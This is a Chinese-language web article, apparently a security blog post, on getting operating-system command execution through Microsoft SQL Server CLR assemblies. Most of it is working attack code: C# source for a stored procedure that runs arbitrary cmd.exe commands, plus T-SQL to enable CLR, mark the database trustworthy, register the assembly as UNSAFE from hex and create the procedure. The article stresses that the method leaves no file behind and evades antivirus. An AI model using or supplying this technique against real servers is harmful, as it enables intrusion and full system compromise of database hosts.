MSSQL 利用 CLR 技术执行系统命令
作者:
来源:
发布时间:2023-05-15
|
using System;using System.Diagnostics;using System.Text;using Microsoft.SqlServer.Server;public partial class StoredProcedures{ [Microsoft.SqlServer.Server.SqlProcedure] public static void CmdExec (String cmd) { // Put your code here SqlContext.Pipe.Send(Command("cmd.exe", " /c " + cmd)); } public static string Command(string filename, string arguments) { var process = new Process(); process.StartInfo.FileName = filename; if (!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments = arguments; } process.StartInfo.CreateNoWindow = true; process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardError = true; process.StartInfo.RedirectStandardOutput = true; var stdOutput = new StringBuilder(); process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data); string stdError = null; try { process.Start(); process.BeginOutputReadLine(); stdError = process.StandardError.ReadToEnd(); process.WaitForExit(); } catch (Exception e) { SqlContext.Pipe.Send(e.Message); } if (process.ExitCode == 0) { SqlContext.Pipe.Send(stdOutput.ToString()); } else { var message = new StringBuilder(); if (!string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if (stdOutput.Length != 0) { message.AppendLine(stdOutput.ToString()); } SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message); } return stdOutput.ToString(); }}命令执行 sp_configure 'clr enabled', 1GORECONFIGUREGO当导入了不安全的程序集之后,需将数据库标记为可信任的,对于其他数据库需要执行如下语句,但对 msdb 不需要,默认 msdb 就是的可信任的 ALTER DATABASE master SET TRUSTWORTHY ON;方式一,CLR 注册 DLL 支持十六进制的方式,以这种方式不需要将 DLL 文件落地到目标机器上,实现了无文件落地,能够规避杀软。并且,在目标无法处出网的情况下,也能完成操作 CREATE ASSEMBLY sp_cmdExecFROM 0x4D5A90000300000004000000FFFF0000B800000000000WITH PERMISSION_SET = UNSAFEGO方式二,通过 SSMS 图形化界面注册
CREATE ASSEMBLY sp_cmdExecFROM 'C:\ProgramData\Database1.dll'WITH PERMISSION_SET = UNSAFEGO注册完后,需创建存储过程,执行如下语句 CREATE PROCEDURE sp_cmdExec@Command [nvarchar](4000)WITH EXECUTE AS CALLERASEXTERNAL NAME sp_cmdExec.StoredProcedures.CmdExecGO一切顺利的话,此时就可以通过该存储过程进行系统命令的执行
|
关键词: GRP-U8行政事业财管软件,财务管理,政务软件
相关服务

